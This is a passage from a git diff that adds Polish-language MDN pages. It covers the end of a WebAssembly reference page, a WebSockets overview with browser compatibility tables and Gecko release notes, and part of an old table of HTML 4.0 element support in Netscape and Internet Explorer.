+ <dd><code>WebAssembly.</code><code>Memory</code> jest obiektem zawierającym rozszerzalny {{jsxref("Global_objects/ArrayBuffer", "ArrayBuffer")}}, który przechowuje bajty pamięci dostępnej dla <code>Instance</code>.</dd>
+ <dt>{{jsxref("Global_objects/WebAssembly/Table", "WebAssembly.Table()")}}</dt>
+ <dd><code>WebAssembly.</code><code>Table</code> obiekt jest rozszerzalnym {{jsxref("Global_Objects/TypedArray", "TypedArray")}}</dd>
+ <dt>{{jsxref("WebAssembly.CompileError()")}}</dt>
+ <dd>Tworzy nowy obiekt <code>CompileError</code>.</dd>
+ <dt>{{jsxref("WebAssembly.LinkError()")}}</dt>
+ <dd>Tworzy nowy obiekt <code>LinkError</code>.</dd>
+ <dt>{{jsxref("WebAssembly.RuntimeError()")}}</dt>
+ <dd>Tworzy nowy obiekt <code>RuntimeError</code>.</dd>
+</dl>
+</div>
+</div>
+
+<h2 dir="ltr" id="Przykłady">Przykłady</h2>
+
+<ul dir="ltr">
+ <li><a href="https://github.com/JasonWeathersby/WASMSobel">WASMSobel</a></li>
+ <li>Zobacz nasze repo <a href="https://github.com/mdn/webassembly-examples/">webassembly-examples</a>, aby zobaczyć inne przykłady.</li>
+</ul>
+
+<h2 id="Specyfikacja">Specyfikacja</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('WebAssembly JS')}}</td>
+ <td>{{Spec2('WebAssembly JS')}}</td>
+ <td><span class="tlid-translation translation" lang="pl"><span title="">Wstępna szkicowa definicja JavaScript API</span></span> .</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Kompatybilność</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Edge</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari (WebKit)</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatChrome(57)}}</td>
+ <td>15<sup>[2]</sup></td>
+ <td>{{CompatGeckoDesktop(52)}}<sup>[1]</sup></td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatOpera(44)}}</td>
+ <td>11</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android Webview</th>
+ <th>Chrome for Android</th>
+ <th>Edge Mobile</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatChrome(57)}}</td>
+ <td>{{CompatChrome(57)}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatGeckoMobile(52)}}<sup>[1]</sup></td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>11</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] WebAssembly jest włączone w Firefox 52+, jednakże<span class="tlid-translation translation" lang="pl"><span title=""> wyłączone w</span></span> <a href="https://www.mozilla.org/en-US/firefox/organizations/">Firefox 52 Extended Support Release</a> (ESR.)</p>
+
+<p>[2] Currently supported behind the “Experimental JavaScript Features” flag. See <a href="https://blogs.windows.com/msedgedev/2017/04/20/improved-javascript-performance-webassembly-shared-memory/">this blog post</a> for more details.</p>
+
+<h2 id="Zobacz_także">Zobacz także</h2>
+
+<ul dir="ltr">
+ <li><a href="https://research.mozilla.org/webassembly/">WebAssembly on Mozilla Research</a></li>
+ <li><a href="http://webassembly.org/">webassembly.org</a></li>
+ <li><a href="https://hacks.mozilla.org/category/webassembly/">WebAssembly articles on Mozilla Hacks blog</a></li>
+ <li><a href="https://www.w3.org/community/webassembly/">W3C WebAssembly Community Group</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Headers/Large-Allocation">Large-Allocation HTTP header</a></li>
+</ul>
diff --git a/files/pl/websockets/index.html b/files/pl/websockets/index.html
new file mode 100644
index 0000000000..ed590efefb
--- /dev/null
+++ b/files/pl/websockets/index.html
@@ -0,0 +1,188 @@
+---
+title: WebSockets
+slug: WebSockets
+translation_of: Web/API/WebSockets_API
+---
+<p>WebSocket to zaawansowana technologia, która pozwala na otwarcie interaktywnej sesji komunikacyjnej pomiędzy przeglądarką użytkownika a serwerem. Dzięki temu API możesz wysłać wiadomość do serwera oraz otrzymać od niego odpowiedzi jako zdarzenia, bez konieczności ponownego odpytywania o nie serwera.</p>
+
+<div class="cleared row topicpage-table">
+<div class="section">
+<h2 class="Documentation" id="Documentation" name="Documentation">Dokumentacja</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/WebSockets/Writing_WebSocket_client_applications" title="WebSockets/Pisanie aplikacji klienckich WebSocket">Pisanie aplikacji klienckich WebSocket</a></dt>
+ <dd>Poradnik pokazujący jak napisać klienta WebSocket uruchamianego w przeglądarce internetowej.</dd>
+ <dt><a href="/en-US/docs/WebSockets/WebSockets_reference" title="WebSockets/WebSockets reference">WebSockets reference</a></dt>
+ <dd>A reference to the client-side WebSocket API.</dd>
+ <dt><a href="/en-US/docs/WebSockets/Writing_WebSocket_servers" title="WebSockets/Pisanie aplikacji serwerowych WebSocket">Obsługa WebSocket po stronie serwera</a></dt>
+ <dd>Przewodnik do obsługi protokołu WebSocket po stronie serwera.</dd>
+</dl>
+
+<p><span class="alllinks"><a href="/en-US/docs/tag/WebSockets" title="tag/WebSockets">Zobacz całość...</a></span></p>
+</div>
+
+<div class="section">
+<h2 class="Tools" id="Tools" name="Tools">Narzędzia</h2>
+
+<ul>
+ <li><a class="external" href="http://socket.io" title="http://socket.io/">Socket.IO</a>: Ogromne, multiplatformowe API WebSocket dla <a class="external" href="http://nodejs.org" title="http://nodejs.org/">Node.js</a>.</li>
+ <li><a class="link-https" href="https://github.com/Worlize/WebSocket-Node" title="https://github.com/Worlize/WebSocket-Node">WebSocket-Node</a>: A WebSocket server API implementation for <a class="external" href="http://nodejs.org" title="http://nodejs.org/">Node.js</a>.</li>
+ <li><a href="http://www.totaljs.com">Total.js</a>: Web application framework for <a href="http://www.nodejs.org">Node.js</a> (Example: <a href="https://github.com/totaljs/examples/tree/master/websocket">WebSocket chat</a>)</li>
+ <li><a href="http://ajf.me/websocket/#libs" title="http://websocket.us/#libs">A more extensive list of frameworks and libraries here</a></li>
+</ul>
+
+<h2 class="Related_Topics" id="Related_Topics" name="Related_Topics">Podobne Tematy</h2>
+
+<ul>
+ <li><a href="/en-US/docs/AJAX" title="AJAX">AJAX</a>, <a href="/en-US/docs/JavaScript" title="JavaScript">JavaScript</a></li>
+</ul>
+</div>
+</div>
+
+<h2 id="Zobacz_także">Zobacz także</h2>
+
+<ul>
+ <li><a class="external" href="http://tools.ietf.org/html/rfc6455">RFC 6455 - Protokół WebSocket</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/websockets/">WebSocket - Specyfikacja API</a></li>
+ <li><a href="/en-US/docs/Server-sent_events" title="Server-sent_events">Server-Sent Events</a></li>
+</ul>
+
+<h2 id="Zgodność_z_przeglądarkami">Zgodność z przeglądarkami</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Version -76 support {{obsolete_inline}}</td>
+ <td>6</td>
+ <td>{{CompatGeckoDesktop("2.0")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>11.00 (disabled)</td>
+ <td>5.0.1</td>
+ </tr>
+ <tr>
+ <td>Protocol version 7 support {{obsolete_inline}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatGeckoDesktop("6.0")}}<br>
+ {{property_prefix("Moz")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ <tr>
+ <td>Protocol version 10 support {{obsolete_inline}}</td>
+ <td>14</td>
+ <td>{{CompatGeckoDesktop("7.0")}}<br>
+ {{property_prefix("Moz")}}</td>
+ <td>HTML5 Labs</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td>Standard - RFC 6455 Support</td>
+ <td>16</td>
+ <td>{{CompatGeckoDesktop("11.0")}}</td>
+ <td>10</td>
+ <td>12.10</td>
+ <td>6.0</td>
+ </tr>
+ <tr>
+ <td>Usable in Workers</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoDesktop("37.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Version -76 support {{obsolete_inline}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td>Protocol version 7 support {{obsolete_inline}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td>Protocol version 8 support (IETF draft 10) {{obsolete_inline}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoMobile("7.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td>Standard - RFC 6455 Support</td>
+ <td>4.4</td>
+ <td>{{CompatGeckoDesktop("11.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>12.10</td>
+ <td>6.0</td>
+ </tr>
+ <tr>
+ <td>Usable in Workers</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoMobile("37.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="Gecko_notes">Gecko notes</h3>
+
+<p>WebSockets support in Firefox is continuing to track the evolving WebSocket specification. Firefox 6 implements version 7 of the underlying protocol, while Firefox 7 implements version 8 (as specified by IETF draft 10). Firefox mobile received WebSocket support in Firefox mobile 7.0.</p>
+
+<h4 id="Gecko_6.0">Gecko 6.0</h4>
+
+<p>Prior to Gecko 6.0 {{geckoRelease("6.0")}}, there was, incorrectly, a <code>WebSocket</code> object that some sites were thinking implied that <code>WebSocket</code> services were not prefixed; this object has been renamed to <code>MozWebSocket</code>.</p>
+
+<h4 id="Gecko_7.0">Gecko 7.0</h4>
+
+<p>Począwszy od Gecko 7.0 {{geckoRelease("7.0")}}, właściwość <code>network.websocket.max-connections</code> jest używana by decydować o maksymalnej liczbie połączeń WebSocket, które mogą być otwarte jednocześnie. Domyślnie jest to 200.</p>
+
+<h4 id="Gecko_8.0">Gecko 8.0</h4>
+
+<p>Starting in Gecko 8.0 {{geckoRelease("8.0")}}, the deflate-stream extension to the WebSocket protocol has been disabled, since it's been deprecated from the specification drafts. This resolves incompatibilities with some sites.</p>
+
+<h4 id="Gecko_11.0">Gecko 11.0</h4>
+
+<p>Prior to Gecko 11.0, both incoming and outgoing messages were limited to 16 MB in size. They may now be up to 2 GB in size. Note, however, that memory limitations (especially on mobile devices) make that a theoretical maximum, not a practical one. In reality, transfers of that size will fail on devices that don't have enough memory.</p>
+
+<p>Additionally, ArrayBuffer send and receive support for binary data has been implemented.</p>
+
+<p>Starting in Gecko 11.0, the WebSocket API is no longer prefixed.</p>
diff --git a/files/pl/wsparcie_przeglądarek_dla_elementów_html/index.html b/files/pl/wsparcie_przeglądarek_dla_elementów_html/index.html
new file mode 100644
index 0000000000..44f0dfd7cf
--- /dev/null
+++ b/files/pl/wsparcie_przeglądarek_dla_elementów_html/index.html
@@ -0,0 +1,1390 @@
+---
+title: Wsparcie przeglądarek dla elementów HTML
+slug: Wsparcie_przeglądarek_dla_elementów_HTML
+tags:
+ - HTML
+ - Wszystkie_kategorie
+---
+<p>
+</p><p><br>
+W HTML 4.0 dodano kilka elementów, kilka usunięto, inne wycofano z użycia to samo z atrybutami. Ta techniczna notatka opisuje elementy wspierane w HTML 4.0 w Netscape Navigator 4.x, Netscape 6, Internet Explorer 3.x-5.x, HTML 3.2 i HTML 4.0.
+</p>
+<h3 id="Odniesienia" name="Odniesienia"> Odniesienia </h3>
+<p>Wymagane odniesienia dla HTML 4.01 to:
+</p>
+<ul><li> <code>&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"<br>"<span class="nowiki">http://www.w3.org/TR/html4/strict.dtd</span>"&gt;</code>
+</li><li> <code>&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"<br>"<span class="nowiki">http://www.w3.org/TR/html4/loose.dtd</span>"&gt;</code>
+</li><li> <code>&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN"<br>"<span class="nowiki">http://www.w3.org/TR/html4/frameset.dtd</span>"&gt;</code>
+</li></ul>
+<h3 id="Nowe_elementy_w_HTML_4.0" name="Nowe_elementy_w_HTML_4.0"> Nowe elementy w HTML 4.0 </h3>
+<ul><li> <code>CLASS</code>
+</li><li> <code>DIR</code>
+</li><li> <code>ID</code>
+</li><li> <code>LANG</code>
+</li><li> <code>STYLE</code>
+</li><li> <code>TITLE</code>
+</li><li> <code>onclick</code>
+</li><li> <code>ondblclick</code>
+</li><li> <code>onkeydown</code>
+</li><li> <code>onkeypress</code>
+</li><li> <code>onkeyup</code>
+</li><li> <code>onmousedown</code>
+</li><li> <code>onmousemove</code>
+</li><li> <code>onmouseout</code>
+</li><li> <code>onmouseover</code>
+</li><li> <code>onmouseup</code>
+</li></ul>
+<h3 id="Wsparcie_przegl.C4.85darek_dla_element.C3.B3w" name="Wsparcie_przegl.C4.85darek_dla_element.C3.B3w"> Wsparcie przeglądarek dla elementów </h3>
+<h4 id="Legenda" name="Legenda"> Legenda </h4>
+<dl><dt>NN4 </dt><dd>Netscape Navigator 4.x
+</dd><dt>NS6 </dt><dd>Netscape 6
+</dd><dt>IE3 </dt><dd>Internet Explorer 3.x
+</dd><dt>IE4 </dt><dd>Internet Explorer 4.x
+</dd><dt>IE5 </dt><dd>Internet Explorer 5.x
+</dd><dt>HTML3 </dt><dd>HTML 3.2
+</dd><dt>HTML4 </dt><dd>HTML 4.0
+</dd></dl>
+<h4 id="Tabela_wsparcia" name="Tabela_wsparcia"> Tabela wsparcia </h4>
+<table class="standard-table">
+<tbody><tr>
+<th>Element</th>
+<th> </th>
+<th> </th>
+<th> </th>
+<th> </th>
+<th> </th>
+<th> </th>
+<th> </th>
+<th>Komentarze</th>
+<th>Niezalecane atrybuty</th>
+</tr> <tr>
+<td class="elementName"><a href="pl/HTML/Element/a">A</a></td>
+<td>NN4</td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td>HTML3</td>
+<td>HTML4</td>
+<td> </td>
+<td> </td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Element/abbr">ABBR</a></td>
+<td> </td>
+<td>NS6</td>
+<td> </td>
+<td> </td>
+<td> </td>
+<td> </td>
+<td>HTML4</td>
+<td> </td>
+<td> </td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Element/acronym">ACRONYM</a></td>
+<td> </td>
+<td>NS6</td>
+<td> </td>
+<td>IE4</td>
+<td>IE5</td>
+<td> </td>
+<td>HTML4</td>
+<td> </td>
+<td> </td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Element/address">ADDRESS</a></td>
+<td>NN4</td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td>HTML3</td>
+<td>HTML4</td>
+<td> </td>
+<td> </td>
+</tr> <tr>
+<td class="elementName"><a href="pl/HTML/Element/applet">APPLET</a></td>
+<td>NN4</td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td>HTML3</td>
+<td>HTML4</td>
+<td>niezalecane w HTML 4.0</td>
+<td>ALIGN, ARCHIVE, CODE, CODEBASE, HEIGHT, NAME, OBJECT, WIDTH</td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Element/area">AREA</a></td>
+<td>NN4</td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td>HTML3</td>
+<td>HTML4</td>
+<td> </td>
+<td> </td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Element/b">B</a></td>
+<td>NN4</td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td>HTML3</td>
+<td>HTML4</td>
+<td> </td>
+<td> </td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Element/base">BASE</a></td>
+<td>NN4</td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td>HTML3</td>
+<td>HTML4</td>
+<td> </td>
+<td> </td>
+</tr> <tr>
+<td class="elementName"><a href="pl/HTML/Element/basefont">BASEFONT</a></td>
+<td>NN4</td>
+<td> </td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td>HTML3</td>
+<td>HTML4</td>
+<td>niezalecane w HTML 4.0<br>Nie wspierane w NS6 <a class="external" href="http://bugzilla.mozilla.org/show_bug.cgi?id=3875">Zobacz Bugzilla Bug 3875</a>
+</td>
+<td>COLOR, FACE, SIZE</td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Element/bdo">BDO</a></td>
+<td> </td>
+<td> </td>
+<td> </td>
+<td> </td>
+<td>IE5</td>
+<td> </td>
+<td>HTML4</td>
+<td>niewspierane w NS6</td>
+<td> </td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Element/bgsound">BGSOUND</a></td>
+<td> </td>
+<td> </td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td> </td>
+<td> </td>
+<td> </td>
+<td> </td>
+</tr> <tr>
+<td class="elementName"><a href="pl/HTML/Element/big">BIG</a></td>
+<td>NN4</td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td>HTML3</td>
+<td>HTML4</td>
+<td> </td>
+<td> </td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Element/blink">BLINK</a></td>
+<td>NN4</td>
+<td> </td>
+<td> </td>
+<td> </td>
+<td> </td>
+<td> </td>
+<td> </td>
+<td> </td>
+<td> </td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Element/blockquote">BLOCKQUOTE</a></td>
+<td>NN4</td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td>HTML3</td>
+<td>HTML4</td>
+<td> </td>
+<td> </td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Element/body">BODY</a></td>
+<td>NN4</td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td>HTML3</td>
+<td>HTML4</td>
+<td> </td>
+<td>ALINK, BACKGROUND, BGCOLOR, LINK, TEXT, VLINK</td>
+</tr> <tr>
+<td class="elementName"><a href="pl/HTML/Element/br">BR</a></td>
+<td>NN4</td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td>HTML3</td>
+<td>HTML4</td>
+<td> </td>
+<td>CLEAR</td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Element/button">BUTTON</a></td>
+<td> </td>
+<td>NS6</td>
+<td> </td>
+<td>IE4</td>
+<td>IE5</td>
+<td> </td>
+<td>HTML4</td>
+<td> </td>
+<td> </td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Element/caption">CAPTION</a></td>
+<td>NN4</td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td>HTML3</td>
+<td>HTML4</td>
+<td> </td>
+<td>ALIGN</td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Element/center">CENTER</a></td>
+<td>NN4</td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td>HTML3</td>
+<td>HTML4</td>
+<td>niezalecane w HTML 4.0</td>
+<td> </td>
+</tr> <tr>
+<td class="elementName"><a href="pl/HTML/Element/cite">CITE</a></td>
+<td>NN4</td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td>HTML3</td>
+<td>HTML4</td>
+<td> </td>
+<td> </td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Element/code">CODE</a></td>
+<td>NN4</td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td>HTML3</td>
+<td>HTML4</td>
+<td> </td>
+<td> </td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Element/col">COL</a></td>
+<td> </td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td> </td>
+<td>HTML4</td>
+<td> </td>
+<td> </td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Element/colgroup">COLGROUP</a></td>
+<td> </td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td> </td>
+<td>HTML4</td>
+<td> </td>
+<td> </td>
+</tr> <tr>
+<td class="elementName"><a href="pl/HTML/Element/comment">COMMENT</a></td>
+<td> </td>
+<td> </td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td> </td>
+<td> </td>
+<td> </td>
+<td> </td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Element/dd">DD</a></td>
+<td>NN4</td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td>HTML3</td>
+<td>HTML4</td>
+<td> </td>
+<td> </td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Element/del">DEL</a></td>
+<td> </td>
+<td>NS6</td>
+<td> </td>
+<td>IE4</td>
+<td>IE5</td>
+<td> </td>
+<td>HTML4</td>
+<td> </td>
+<td> </td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Element/dfn">DFN</a></td>
+<td> </td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td>HTML3</td>
+<td>HTML4</td>
+<td> </td>
+<td> </td>
+</tr> <tr>
+<td class="elementName"><a href="pl/HTML/Element/dir">DIR</a></td>
+<td>NN4</td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td>HTML3</td>
+<td>HTML4</td>
+<td>niezalecane w HTML 4.0</td>
+<td>COMPACT</td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Element/div">DIV</a></td>
+<td>NN4</td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td>HTML3</td>
+<td>HTML4</td>
+<td> </td>
+<td> </td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Element/dl">DL</a></td>
+<td>NN4</td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td>HTML3</td>
+<td>HTML4</td>
+<td> </td>
+<td>COMPACT</td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Element/dt">DT</a></td>
+<td>NN4</td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td>HTML3</td>
+<td>HTML4</td>
+<td> </td>
+<td> </td>
+</tr> <tr>
+<td class="elementName"><a href="pl/HTML/Element/em">EM</a></td>
+<td>NN4</td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td>HTML3</td>
+<td>HTML4</td>
+<td> </td>
+<td> </td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Element/embed">EMBED</a></td>
+<td>NN4</td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td> </td>
+<td> </td>
+<td> </td>
+<td> </td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Element/fieldset">FIELDSET</a></td>
+<td> </td>
+<td>NS6</td>
+<td> </td>
+<td>IE4</td>
+<td>IE5</td>
+<td> </td>
+<td>HTML4</td>
+<td> </td>
+<td> </td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Element/font">FONT</a></td>
+<td>NN4</td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td>HTML3</td>
+<td>HTML4</td>
+<td>niezalecane w HTML 4.0</td>
+<td>COLOR, FACE, SIZE</td>
+</tr> <tr>
+<td class="elementName"><a href="pl/HTML/Element/form">FORM</a></td>
+<td>NN4</td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td>HTML3</td>
+<td>HTML4</td>
+<td> </td>
+<td> </td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Element/frame">FRAME</a></td>
+<td>NN4</td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td> </td>
+<td>HTML4</td>
+<td> </td>
+<td> </td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Element/frameset">FRAMESET</a></td>
+<td>NN4</td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td> </td>
+<td>HTML4</td>
+<td> </td>
+<td> </td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Element/h1">H1</a></td>
+<td>NN4</td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td>HTML3</td>
+<td>HTML4</td>
+<td> </td>
+<td>ALIGN</td>
+</tr> <tr>
+<td class="elementName"><a href="pl/HTML/Element/h2">H2</a></td>
+<td>NN4</td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td>HTML3</td>
+<td>HTML4</td>
+<td> </td>
+<td>ALIGN</td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Element/h3">H3</a></td>
+<td>NN4</td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td>HTML3</td>
+<td>HTML4</td>
+<td> </td>
+<td>ALIGN</td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Element/h4">H4</a></td>
+<td>NN4</td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td>HTML3</td>
+<td>HTML4</td>
+<td> </td>
+<td>ALIGN</td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Element/h5">H5</a></td>
+<td>NN4</td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td>HTML3</td>
+<td>HTML4</td>
+<td> </td>
+<td>ALIGN</td>
+</tr> <tr>
+<td class="elementName"><a href="pl/HTML/Element/h6">H6</a></td>
+<td>NN4</td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td>HTML3</td>
+<td>HTML4</td>
+<td> </td>
+<td>ALIGN</td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Element/head">HEAD</a></td>
+<td>NN4</td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td>HTML3</td>
+<td>HTML4</td>
+<td> </td>
+<td> </td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Element/hr">HR</a></td>
+<td>NN4</td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td>HTML3</td>
+<td>HTML4</td>
+<td> </td>
+<td>ALIGN, NOSHADE, SIZE, WIDTH</td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Element/html">HTML</a></td>
+<td>NN4</td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td>HTML3</td>
+<td>HTML4</td>
+<td> </td>
+<td>VERSION</td>
+</tr> <tr>
+<td class="elementName"><a href="pl/HTML/Element/i">I</a></td>
+<td>NN4</td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td>HTML3</td>
+<td>HTML4</td>
+<td> </td>
+<td> </td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Element/iframe">IFRAME</a></td>
+<td> </td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
